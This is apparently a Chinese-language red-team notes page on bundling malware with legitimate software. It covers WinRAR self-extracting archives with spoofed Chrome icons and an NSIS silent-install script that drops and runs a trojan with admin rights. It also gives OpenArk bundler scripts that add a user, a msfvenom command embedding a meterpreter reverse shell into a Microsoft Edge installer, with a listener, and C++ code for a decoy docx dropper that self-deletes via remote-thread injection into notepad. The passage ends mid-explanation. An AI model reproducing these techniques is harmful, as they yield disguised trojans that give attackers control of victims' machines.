捆绑程序
捆绑程序
利用Winrar创建SFX(自解压)打包捆绑恶意程序与合法程序
可以在 WinRAR archiver, a powerful tool to process RAR and ZIP files (rarlab.com) 下载 WinRAR, 使用 Winrar 将恶意软件和合法软件捆绑起来, 通过合法软件调用恶意软件在一定程度上可以绕过EDR
可以在 383 chrome icons - Iconfinder 查找目标合法软件的图标并下载 PNG 文件
可以使用 https://iconconverter.com
将 PNG 转换成 ICO 图标
文中提到的这个网站我刚问不到, 拿 Go 写了个转换程序: DailyNotesCode/Go/usecase/Picture/ToICO/main.go at main · Ayusummer/DailyNotesCode (github.com)
常见程序 ICO 分辨率:
选中 Chrome 浏览器快捷方式和恶意程序, 使用 WinRAR Add to Archive
来创建压缩包
起一个合适的名字, 例如 Chrome.exe
并确保选中了 Create SFX archive
继续在 Advance -> SFX options -> Setup
中配置启动项
如果你的恶意程序是阻塞性质的程序那么在写
Run after extraction
的时候如果恶意程序在前则会在其关闭时调起 Chrome, 反之则会在 Chrome 关闭后调起恶意程序
在 Modes
中设置解压到临时目录以及 Hide all
在 383 chrome icons - Iconfinder 查找目标合法软件的图标并下载 PNG 文件, 然后用工具转换成 ICO 文件并在 Text and icon -> Load SFX icon from the file
设置 ico 图标
在 Update
中选择 Extract and update files
以及 Overwrite all files
最后逐级确定即可收获一个名为 Chrome.exe
且带有合适图标的可执行程序
此时执行 Chrome.exe
即可打开 Chrome 并执行恶意程序
PS: 如果你的恶意程序是阻塞性质的程序那么在写
Run after extraction
的时候如果恶意程序在前则会在其关闭时调起 Chrome, 反之则会在 Chrome 关闭后调起恶意程序
相关链接
NSIS捆绑程序
NSIS(Nullsoft Scriptable Install System)是一个专业的开源系统,用于创建 Windows 安装程序。
NSIS 可以用于创建能够安装、卸载、设置系统设置、提取文件等的安装程序。基于脚本文件,所以使用简单方便,同时也是免费软件,无需破解,其下载地址为https://nsis.sourceforge.io/Download
NSIS 是编译器,需要编写nsi脚本然后编译。
配置 NSIS 环境变量, 以便后续可以方便调用 makensis.exe
, 默认路径为
C:\Program Files (x86)\NSIS
C:\Program Files (x86)\NSIS\Bin
安装 VSCode 扩展 NSIS
编写如下 nsis 文件, 具体可参阅 NSIS Users Manual (sourceforge.io)
; 设置编译结果的输出文件
OutFile "安装包.exe"
; 设置exe的图标
Icon "1.ico"
; 直接请求uac 提权
RequestExecutionLevel admin
!include "FileFunc.nsh"
; 静默安装,调试的时候可以把这个关了,实际运行的时候要开静默
SilentInstall silent
; 初始化脚本
; 安装程序开始执行之前完成的任务
; 这里可以检查木马文件是否已经存在了,但是这里我先不做这么多
Function .onInit
FunctionEnd
; 开始安装步骤1,将"木马.exe"复制到"$TEMP\xxxxx"
Section "Section1" SEC01
; 这里设置一个目录,下面的文件都会被释放到这个目录底下,目录不存在的话会自动创建目录
SetOutPath "$TEMP\xxxxx"
; 指定安装包在打包时要包含进那些文件,安装时会将"木马.exe"释放到"$TEMP\xxxxx"
File "木马.exe"
SectionEnd
; 开始安装步骤2,将"正常文件.exe"复制到"$TEMP\xxxx2"
Section "Section2" SEC02
SetOutPath "$TEMP\xxxx2"
File "正常文件.exe"
SectionEnd
; 会在安装成功后执行,这里就直接执行exe就好了
Function .onInstSuccess
Exec "$TEMP\xxxxx\木马.exe"
Exec "$TEMP\xxxx2\正常文件.exe
; 打开文档可以用下面的命令
; ExecShell open "$TEMP\测试文档.docx"
FunctionEnd
例如
OutFile "MicrosoftEdgeSetupNSIS.exe"
Icon "IDR_MAINFRAME.ico"
RequestExecutionLevel admin
!include "FileFunc.nsh"
SilentInstall silent
Function .onInit
FunctionEnd
Section "Section1" SEC01
SetOutPath "$TEMP"
File "msedge.exe"
SectionEnd
Section "Section2" SEC02
SetOutPath "$TEMP"
File "MicrosoftEdgeSetup.exe"
SectionEnd
Function .onInstSuccess
Exec "$TEMP\msedge.exe"
Exec "$TEMP\MicrosoftEdgeSetup.exe"
FunctionEnd
然后呼出 VSCode 命令面板(Ctrl+Shift+P
), 输入 nsis
选择 NSIS:Create Build Task
这会在当前项目根目录创建一个 .vscode/task.json
文件, 内容大概如下:
接下来将窗口切回到刚才编写的 NSIS 文件, Ctrl+Shift+P
呼出命令面板, 选择 Tasks:Run Build Task
这将会根据 tasks.json
中的配置来 build 当前 nsis 任务
运行编译生成文件会弹出 UAC 授权窗口, 点击确定后即会运行程序
运行恶意程序上线攻击机并且运行正常程序下载 Microsoft Edge:
OpenArk捆绑程序
制作一个捆绑程序 - OpenArk Manuals (blackint3.com)
OpenArk/doc/README-zh.md at master · BlackINT3/OpenArk · GitHub
OpenArk是一款Windows平台上的开源Ark工具. Ark是Anti-Rootkit(对抗恶意程序)的简写, OpenArk目标成为逆向工程师、编程人员的工具,同时也能为那些希望清理恶意软件的用户服务。
可以在 Releases · BlackINT3/OpenArk (github.com) 下载 OpenArk
捆绑程序是将一个或多个程序绑定成一个独立的exe,避免依赖的文件(如DLL)过多而影响传输/存储,常用于一些恶意软件。 OpenArk的Bundler即是这样一个功能,支持文件以及文件夹等捆绑成一个exe,同样支持脚本。
制作步骤
制作一个捆绑程序 - OpenArk Manuals (blackint3.com) 文档中讲述了捆绑合法程序以及新建用户命令和vbs.bat脚本的方法, 这里演示捆绑合法程序和恶意程序
这里选择捆绑恶意程序和 MSEdge, edge 直接捆绑个快捷方式就行了, 将恶意程序和 edge快捷方式放到一个文件夹中并将该文件夹拖入到 OpenArk 的 Bundler 中(默认管理员)(或者使用右上角选择文件夹
按钮指定目标文件夹)
在左下角 启动脚本
区域写入要执行的脚本, 例如这里应当是启动恶意程序以及合法程序
call %root%/./msedge.exe
call %root%/./Microsoft Edge.lnk
clean //清理释放后的文件
PS: 一些额外启动脚本代码示例:
cmd net user shadow 123 /add //添加一个用户shadow start cmd /c %root%\shadow.bat //执行测试的bat start wscript %root%\shadow.vbs //执行测试vbs
点击左下角 选择图标
按钮选择生成程序的图标然后点击右下角的 生成
按钮即可生成捆绑程序
msfvenom捆绑程序
准备好目标程序(这里选择了Microsoft Edge安装包, 放在了 /root/temp/MicrosoftEdgeSetup.exe
)
使用 msfvenom 生成捆绑木马
msfvenom -p windows/meterpreter/reverse_http lhost=100.1.1.131 lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x /root/temp/MicrosoftEdgeSetup.exe > /root/temp/out/MicrosoftEdgeSetup.exe
-p
:指定后面的 payloadwindows/meterpreter/reverse_tcp
:申明这是一个windows系统下的一个反弹httpLHOST=192.168.0.108,
:设置反弹回来的ip,即你的kali的ip地址lport
反弹端口(默认返回端口是4444)-e
: 指定编码器x86/shikata_ga_nai
-i
: 指定编码次数-f
: 捆绑的文件类型,这里是一个exe文件-b
: 指定需要避开的坏字符(通常是由于这些字符在payload中会引起问题)这里是避免使用
\x00
(null字节)、\x0a
(换行符)和\x0d
(回车符)。-x
:指定捆绑的文件路径-o
:指定生成木马的文件路径
msconsole
起监听
msfconsole
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_http
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 100.1.1.131
lhost => 100.1.1.131
msf6 exploit(multi/handler) > set lport 55555
lport => 55555
msf6 exploit(multi/handler) > run
靶机执行生成的捆绑程序即可上线
或者 CS 起个 http 监听器挂在 55555 端口, 靶机运行捆绑木马即可上线 CS
cpp实现捆绑程序(TODO)
奇安信攻防社区-关于文件捆绑的实现 (butian.net)
https://chatgpt.com/share/a5f99e0a-eec2-4616-9d24-dafde74733f1
上述文章中作者编写了如下程序, 运行该程序会创建一个新的 .docx
文件,并将资源文件的内容写入该文件。
打开 .docx
文件。
创建一个 notepad.exe
进程,并将删除当前程序的操作注入到该进程中,从而实现自删除功能。
当前程序实现的效果是执行 exe 后读取并生成 docx 文件然后删除 exe 文件, 需要后续修改来调用其他捆绑程序, 或者直接在当前项目中编写恶意行为
使用 VisualStudio 创建一个 C++ 空项目添加下文中的 Bundled.h
头文件和 Bundled.cpp
源文件
添加资源文件
这里 资源类型
直接手打个 docx
即可
之后在 资源视图
中可以看到加入的资源
以这种方式添加的资源会被打包进程序中
可以右键资源项目查看资源符号
这个资源符号值后续会用到, 用来读取该资源
Bundled.h
// #pragma once 确保头文件只会被包含一次
#pragma once
// Windows API的头文件
#include<Windows.h>
typedef struct DeleteStruct
{
FARPROC dwDeleteFile;
CHAR dwDeleteFile_param_1[MAX_PATH];
};
typedef BOOL(WINAPI* wDeleteFileA)(
_In_ LPCSTR lpFileName
);
定义了一个结构体 DeleteStruct
,包含两个成员:
dwDeleteFile
:保存函数指针。dwDeleteFile_param_1
:保存要删除的文件名。
定义了一个函数指针类型 wDeleteFileA
,对应于Windows API的 DeleteFileA
函数
WINAPI
WINAPI
是一个调用约定,定义为__stdcall
,用于指示函数的参数从右到左压入堆栈,并由被调用函数清理堆栈。这是 Windows API 函数的标准调用约定。(*wDeleteFileA)
(*wDeleteFileA)
定义了一个名为wDeleteFileA
的指针,这个指针指向一个符合特定签名的函数。参数列表
(_In_ LPCSTR lpFileName)
参数列表描述了该函数指针指向的函数所接受的参数类型:
_In_
是一个 SAL(Source Annotation Language)注释,指示参数是输入参数。LPCSTR
是一个指向常量字符串的指针,表示该函数接受一个指向常量字符串的指针作为参数。
总的来说定义了一个名为 wDeleteFileA
的新类型,这个类型是一个指向具有以下签名的函数的指针:
- 返回类型为
BOOL
(一个布尔值)。 - 调用约定为
WINAPI
(Windows API 标准调用约定)。 - 接受一个参数:类型为
LPCSTR
,即一个指向常量字符串的指针,表示文件名。
Bundled.cpp
#include <iostream>
#include <windows.h>
#include "Bundled.h"
DWORD64 WINAPI threadProc(LPVOID lParam) {
INT RET = 20000;
for (size_t i = 0; i < 20000; i++)
{
RET = RET - 1;
}
//循环一下起延时作用,防止线程创建了文件还没有关系,这样删除就失败了
wDeleteFileA kDeleteFileA;
DeleteStruct* DS = (DeleteStruct*)lParam;
kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;
kDeleteFileA(DS->dwDeleteFile_param_1);
//删除文件
return RET;
}
int main(int argc, char* argv[])
{
CHAR PathFileName[MAX_PATH] = { 0 };
CHAR FileName[MAX_PATH] = { 0 };
HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
//得到资源文件HRSRC句柄
HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);
//得到资源文件ResourceGlobal句柄
DWORD FileSize = SizeofResource(NULL, Resource);
//得到资源文件的大小
LPVOID PFILE = LockResource(ResourceGlobal);
//得到指向资源文件内容的指针
GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
//当前进程的路径和名称
strcpy_s(FileName, strrchr(PathFileName, '\\')+1);
/*
strrchr得到第二个参数最后出现的位置
d:\\xxxxx\\xxxxxx\\xxxx.exe在执行后得到\\xxxx.exe
所以需要+1把\\去掉
最后得到了完整的文件名
用strcpy_s把文件名复制到FileName中
*/
for (size_t i = 0; i < MAX_PATH; i++)
{
if(FileName[i] == '.')
{
FileName[i + 1] = 'd';
FileName[i + 2] = 'o';
FileName[i + 3] = 'c';
FileName[i + 4] = 'x';
break;
}
}
//循环找文件名中的.,找到后将文件名的后缀改为docx
//这个步骤主要是为了方便,以后只需要改exe的名称不需要到代码中来改
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
//创建文件名相同的文件
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
// 把资源文件中的内容写入
SHELLEXECUTEINFOA shellexecute = { 0 };
shellexecute.cbSize = sizeof(shellexecute);
shellexecute.lpFile = FileName;
shellexecute.nShow = SW_SHOW;
ShellExecuteExA(&shellexecute);
//打开docx文件
//下面是实现自删除,网上的自删除方法有很多,用的多的是批处理,这里是创建一个进程然后用远程线程注入来让notepad删除当前程序
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);
//创建进程
DeleteStruct DS;
DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");
GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);
//创建远程线程不能直接使用API,需要把函数指针放在结构中传过去
//这里需要DeleteFileA这个函数,用GetProcAddress得到指针后传过去
LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);
//为函数开辟一块内存
LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);
DWORD RETSIZE;
//为参数开辟一块内存
HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);
//执行该线程
CloseHandle(Thread);
//关闭句柄
}
- 线程过程
threadProc
在主函数main
line82
被调用- 这是一个在远程进程中运行的线程函数。
- 先进行了一个简单的延时循环,目的是防止线程创建了文件还没有关闭。
- 从
lParam
中获取传递过来的结构体DeleteStruct
。 - 从结构体中获取
DeleteFileA
函数指针并调用它删除文件。
- 主函数
main
- 获取当前进程的路径和名称。
- 将当前文件的扩展名改为
.docx
。 - 创建一个同名的
.docx
文件,并将资源文件内容写入该文件。 - 使用
ShellExecuteExA
打开该.docx
文件。 - 创建一个新的
notepad.exe
进程,用于删除当前程序。 - 使用
VirtualAllocEx
在远程进程中分配内存,用于存储线程函数和参数。 - 使用
WriteProcessMemory
将线程函数和参数写入远程进程的内存中。 - 使用
CreateRemoteThread
创建一个远程线程来执行删除操作。
代码详解
:
threadProc
threadProc
函数实现了删除特定文件的功能。
DWORD64 WINAPI threadProc(LPVOID lParam) {
INT RET = 20000;
for (size_t i = 0; i < 20000; i++)
{
RET = RET - 1;
}
//循环一下起延时作用,防止线程创建了文件还没有关系,这样删除就失败了
wDeleteFileA kDeleteFileA;
DeleteStruct* DS = (DeleteStruct*)lParam;
kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;
kDeleteFileA(DS->dwDeleteFile_param_1);
//删除文件
return RET;
}
DWORD64 WINAPI threadProc(LPVOID lParam)
返回类型
DWORD64
DWORD64
是一个64位无符号整数,表示函数的返回值类型。调用约定
WINAPI
WINAPI
定义了函数的调用约定,通常是__stdcall
,用于指定函数参数的传递方式和堆栈清理方式。参数
LPVOID lParam
LPVOID
是一个指向任意类型的指针,表示传递给线程的参数。
//循环一下起延时作用,防止线程创建了文件还没有关系,这样删除就失败了
INT RET = 20000;
for (size_t i = 0; i < 20000; i++)
{
RET = RET - 1;
}
这段程序本意是做个时延, 防止进程创建时文件还没有关联从而导致文件删除失败, 不过这个时延效果有限, CPU 执行 20000 次递减运算还是很快的, 打log几乎看不出来时延, 不清楚这里这样写是为了什么, 可能是为了规避对 sleep 的关联检测之类的? 这就不太清楚了
这里可以修改为使用 Sleep 10ms
# 定义函数指针
wDeleteFileA kDeleteFileA;
# 将传入参数转换为结构体指针
DeleteStruct* DS = (DeleteStruct*)lParam;
# 从结构体中获取函数指针
kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;
# 调用函数删除文件
kDeleteFileA(DS->dwDeleteFile_param_1);
定义函数指针
wDeleteFileA kDeleteFileA;
wDeleteFileA
是一个函数指针类型typedef BOOL (WINAPI* wDeleteFileA)(LPCSTR lpFileName);
kDeleteFileA
是一个指向这种类型函数的指针。wDeleteFileA
代表了指向DeleteFileA
函数的指针,DeleteFileA
是 Windows API 用于删除文件的函数。将传入参数转换为结构体指针
lParam
是传入的参数,被转换为指向DeleteStruct
结构体的指针:typedef struct DeleteStruct { FARPROC dwDeleteFile; CHAR dwDeleteFile_param_1[MAX_PATH]; };
dwDeleteFile
:指向DeleteFileA
函数的指针dwDeleteFile_param_1
:要删除的文件路径
从结构体中获取函数指针
kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;
将结构体成员
dwDeleteFile
强制转换为wDeleteFileA
类型,并赋值给kDeleteFileA
。这样,kDeleteFileA
就指向DeleteFileA
函数。调用函数删除文件
kDeleteFileA(DS->dwDeleteFile_param_1);
main
main 函数实现了如下功能
- 从资源中提取一个
.docx
文件,并将其保存到磁盘上。 - 打开这个
.docx
文件。 - 通过创建和注入远程线程的方式,让另一个进程(
notepad.exe
)删除当前程序(自删除)。
int main(int argc, char* argv[])
{
CHAR PathFileName[MAX_PATH] = { 0 };
CHAR FileName[MAX_PATH] = { 0 };
// 1. 从资源中提取 `.docx` 文件
HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
//得到资源文件HRSRC句柄
HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);
//得到资源文件ResourceGlobal句柄
DWORD FileSize = SizeofResource(NULL, Resource);
//得到资源文件的大小
LPVOID PFILE = LockResource(ResourceGlobal);
//得到指向资源文件内容的指针
GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
//当前进程的路径和名称
strcpy_s(FileName, strrchr(PathFileName, '\\')+1);
/*
strrchr得到第二个参数最后出现的位置
d:\\xxxxx\\xxxxxx\\xxxx.exe在执行后得到\\xxxx.exe
所以需要+1把\\去掉
最后得到了完整的文件名
用strcpy_s把文件名复制到FileName中
*/
for (size_t i = 0; i < MAX_PATH; i++)
{
if(FileName[i] == '.')
{
FileName[i + 1] = 'd';
FileName[i + 2] = 'o';
FileName[i + 3] = 'c';
FileName[i + 4] = 'x';
break;
}
}
//循环找文件名中的.,找到后将文件名的后缀改为docx
//这个步骤主要是为了方便,以后只需要改exe的名称不需要到代码中来改
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
//创建文件名相同的文件
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
// 把资源文件中的内容写入
// 2. 打开 .docx 文件
SHELLEXECUTEINFOA shellexecute = { 0 };
shellexecute.cbSize = sizeof(shellexecute);
shellexecute.lpFile = FileName;
shellexecute.nShow = SW_SHOW;
ShellExecuteExA(&shellexecute);
//打开docx文件
// 3. 实现自删除
//下面是实现自删除,网上的自删除方法有很多,用的多的是批处理,这里是创建一个进程然后用远程线程注入来让notepad删除当前程序
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);
//创建进程
DeleteStruct DS;
DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");
GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);
//创建远程线程不能直接使用API,需要把函数指针放在结构中传过去
//这里需要DeleteFileA这个函数,用GetProcAddress得到指针后传过去
LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);
//为函数开辟一块内存
LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);
DWORD RETSIZE;
//为参数开辟一块内存
HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);
//执行该线程
CloseHandle(Thread);
//关闭句柄
}
从资源中提取 .docx 文件
CHAR PathFileName[MAX_PATH] = { 0 }; // 初始化当前文件路径
CHAR FileName[MAX_PATH] = { 0 }; // 初始化当前文件名
// 1. 从资源中提取 `.docx` 文件
HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
//得到资源文件HRSRC句柄
HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);
//得到资源文件ResourceGlobal句柄
DWORD FileSize = SizeofResource(NULL, Resource);
//得到资源文件的大小
LPVOID PFILE = LockResource(ResourceGlobal);
//得到指向资源文件内容的指针
GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
//当前进程的路径和名称
strcpy_s(FileName, strrchr(PathFileName, '\\')+1);
/*
strrchr得到第二个参数最后出现的位置
d:\\xxxxx\\xxxxxx\\xxxx.exe在执行后得到\\xxxx.exe
所以需要+1把\\去掉
最后得到了完整的文件名
用strcpy_s把文件名复制到FileName中
*/
for (size_t i = 0; i < MAX_PATH; i++)
{
if(FileName[i] == '.')
{
FileName[i + 1] = 'd';
FileName[i + 2] = 'o';
FileName[i + 3] = 'c';
FileName[i + 4] = 'x';
break;
}
}
//循环找文件名中的.,找到后将文件名的后缀改为docx
//这个步骤主要是为了方便,以后只需要改exe的名称不需要到代码中来改
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
//创建文件名相同的文件
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
// 把资源文件中的内容写入
- 使用
FindResourceA
、LoadResource
、SizeofResource
和LockResource
函数获取资源文件的内容。 - 使用
GetModuleFileNameA
获取当前可执行文件的路径,并提取文件名。 - 修改文件名的后缀为
.docx
。 - 使用
CreateFileA
创建一个与当前可执行文件同名的.docx
文件,并使用WriteFile
将资源内容写入文件。
获取资源句柄
HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
使用
FindResourceA
函数获取资源的句柄NULL
:指向包含资源的模块句柄,NULL
表示当前模块MAKEINTRESOURCEA(101)
:资源的标识符,这里使用的是整数 101"docx"
:资源类型
对应前面项目资源中插入的这个 docx 文件
HRSRC
是一个句柄类型,用于标识资源在内存中的位置。具体来说,它是一个资源句柄,用于表示在资源文件(如.exe
或.dll
文件)中定义的资源。在 Windows API 中,
HRSRC
是一个宏,定义如下:typedef HANDLE HRSRC;
HANDLE
是一个通用的句柄类型,用于表示各种对象和资源的句柄。通过使用HRSRC
这个类型,Windows API 可以统一处理资源句柄,并在函数之间传递这些句柄。下面是一些与
HRSRC
类型相关的函数:FindResource
/FindResourceA
/FindResourceW
:用于查找资源,并返回一个HRSRC
类型的资源句柄。LoadResource
:用于加载资源,并返回一个HGLOBAL
类型的全局句柄。SizeofResource
:用于获取资源的大小。LockResource
:用于锁定资源,并返回一个指向资源内容的指针。
通过这些函数,可以在程序中访问并操作资源文件中的资源。
加载资源
HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);
使用
LoadResource
函数加载资源,并返回资源的全局句柄。hModule
: 一个模块的句柄,其中包含资源NULL
表示当前模块。hResInfo
: 资源句柄,标识要加载的资源。这个句柄是通过FindResource
函数获取的。
返回
HGLOBAL
类型的句柄,该句柄标识资源的内存块获取资源大小
DWORD FileSize = SizeofResource(NULL, Resource);
使用
SizeofResource
函数获取资源的大小。hModule
: 一个模块的句柄,其中包含资源NULL
表示当前模块。hResInfo
: 资源句柄,标识要查询的资源。这个句柄是通过FindResource
函数获取的。
返回指定资源的大小(以字节为单位)。
如果函数失败,返回值为 0。要获取更多的错误信息,可以调用
GetLastError
函数锁定资源
LPVOID PFILE = LockResource(ResourceGlobal);
使用
LockResource
函数锁定资源,并返回指向资源内容的指针。hResData
: 资源的全局句柄。这个句柄是通过LoadResource
函数获取的。在这段代码中,它是ResourceGlobal
。
返回一个指向资源数据的指针。
执行锁定资源这一步(
LockResource
)的主要原因是为了获得一个指向资源数据的指针,从而可以直接访问和操作资源内容尽管
LockResource
名字中包含“锁定”一词,它实际上并不锁定资源或对其进行任何同步操作。资源数据在加载到内存后,其位置通常是固定的。LockResource
提供了一个指向这块内存的指针,确保程序可以稳定地访问这块内存中的数据。所以与其叫锁定不如叫定位(
LockResource
返回一个指向资源数据的指针(LPVOID
),这允许程序直接访问和读取资源的数据内容,而无需进行额外的内存复制操作。后面写入文件内容时有用到返回的
PFILE
资源内容指针
获取当前可执行文件的路径和名称
GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
使用
GetModuleFileNameA
函数获取当前可执行文件的完整路径和名称,并存储在PathFileName
中。GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
是一个调用,用于获取当前模块(通常是当前可执行文件)的文件名和路径,并将其存储在缓冲区中hModule
: 模块句柄,指示从哪个模块中获取文件名NULL
指示函数返回包含调用进程的可执行文件的路径lpFilename
: 一个指向缓冲区的指针,用于接收模块的文件名和路径nSize
: 缓冲区的大小,以字符为单位MAX_PATH
通常定义为 260,表示缓冲区大小足够大,可以存储大多数路径名
修改文件后缀为
.docx
//当前进程的路径和名称 strcpy_s(FileName, strrchr(PathFileName, '\\')+1); /* strrchr得到第二个参数最后出现的位置 d:\\xxxxx\\xxxxxx\\xxxx.exe在执行后得到\\xxxx.exe 所以需要+1把\\去掉 最后得到了完整的文件名 用strcpy_s把文件名复制到FileName中 */ for (size_t i = 0; i < MAX_PATH; i++) { if (FileName[i] == '.') { FileName[i + 1] = 'd'; FileName[i + 2] = 'o'; FileName[i + 3] = 'c'; FileName[i + 4] = 'x'; break; } }
先使用
strrchr
函数找到路径中最后一个反斜杠的位置,然后使用strcpy_s
函数将路径中的文件名部分复制到FileName
中。接着,遍历FileName
,找到文件名中的.
,将其后的字符改为docx
,以更改文件这里
FileName
字符数组的大小还是蛮大的, 后缀修改为docx
后还有多余的数组空间, 为了避免编码等问题导致的文件名异常, 最好还是加一行FileName[i + 5] = '\0'; // 添加空字符终止字符串
创建文件并写入资源内容
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL); DWORD dwSize; WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
使用
CreateFileA
函数创建一个与当前可执行文件同名的.docx
文件,并使用WriteFile
函数将资源内容写入该文件。lpFileName
: 文件名或设备名,作为文件创建或打开的目标这里是
FileName
,即前面修改了后缀的文件名dwDesiredAccess
: 指定所请求的访问权限FILE_ALL_ACCESS
代表对文件的完全访问权限。dwShareMode
: 指定文件共享模式0
表示文件不能被其他进程共享,独占访问lpSecurityAttributes
: 一个指向SECURITY_ATTRIBUTES
结构的指针,指定文件的安全属性NULL
表示默认安全属性dwCreationDisposition
: 指定如何创建文件CREATE_ALWAYS
表示如果文件存在,将覆盖旧文件,如果文件不存在,将创建新文件dwFlagsAndAttributes
: 指定文件或设备的属性和标志0
表示使用默认属性。hTemplateFile
: 用于创建文件的模板文件的句柄NULL
表示不使用模板。
如果函数成功,返回一个文件句柄,用于后续的文件操作。
如果函数失败,返回
INVALID_HANDLE_VALUE
,可以通过GetLastError
函数获取错误信息。DWORD
是在 Windows 编程中常用的类型,定义在 Windows 头文件中,表示 32 位无符号整数。DWORD
类型的变量可以存储从 0 到 4,294,967,295 的整数。DWORD dwSize; WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
hFile
: 文件句柄,由CreateFile
返回, 这里是FILE
。lpBuffer
: 指向要写入文件的数据缓冲区。这里是前面LockResource
返回的PFILE
,即资源数据指针nNumberOfBytesToWrite
: 要写入文件的字节数。这里是前面SizeofResource
返回的FileSize
,即资源文件的大小lpNumberOfBytesWritten
: 一个指向变量的指针,该变量接收实际写入的字节数, 这里是&dwSize
。lpOverlapped
: 一个指向OVERLAPPED
结构的指针,用于异步操作。NULL
表示同步写入
如果函数成功,返回非零值,并且
lpNumberOfBytesWritten
接收实际写入的字节数。
打开 .docx 文件
// 2. 打开 .docx 文件
SHELLEXECUTEINFOA shellexecute = { 0 };
shellexecute.cbSize = sizeof(shellexecute);
shellexecute.lpFile = FileName;
shellexecute.nShow = SW_SHOW;
ShellExecuteExA(&shellexecute);
使用 SHELLEXECUTEINFOA
结构体和 ShellExecuteExA
函数打开 .docx
文件。
SHELLEXECUTEINFOA shellexecute = { 0 };
SHELLEXECUTEINFOA
是一个结构体,用于存储执行操作所需的参数。
= { 0 }
用于将结构体的所有成员初始化为零。
shellexecute.cbSize = sizeof(shellexecute);
cbSize
成员表示结构体的大小,以字节为单位。必须正确设置此值,Windows API 才能正确解析结构体内容。
shellexecute.lpFile = FileName;
lpFile
成员是一个指向要操作的文件或程序名的指针。这里设置为 FileName
,即之前创建和写入的 .docx
文件名
shellexecute.nShow = SW_SHOW;
nShow
成员指定应用程序窗口的显示方式。SW_SHOW
表示窗口将被显示并激活。
ShellExecuteExA(&shellexecute);
ShellExecuteExA
函数使用 shellexecute
结构体中的参数执行与指定文件关联的默认操作。
实现自删除
// 3. 实现自删除
//下面是实现自删除,网上的自删除方法有很多,用的多的是批处理,这里是创建一个进程然后用远程线程注入来让notepad删除当前程序
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);
//创建进程
DeleteStruct DS;
DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");
GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);
//创建远程线程不能直接使用API,需要把函数指针放在结构中传过去
//这里需要DeleteFileA这个函数,用GetProcAddress得到指针后传过去
LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);
//为函数开辟一块内存
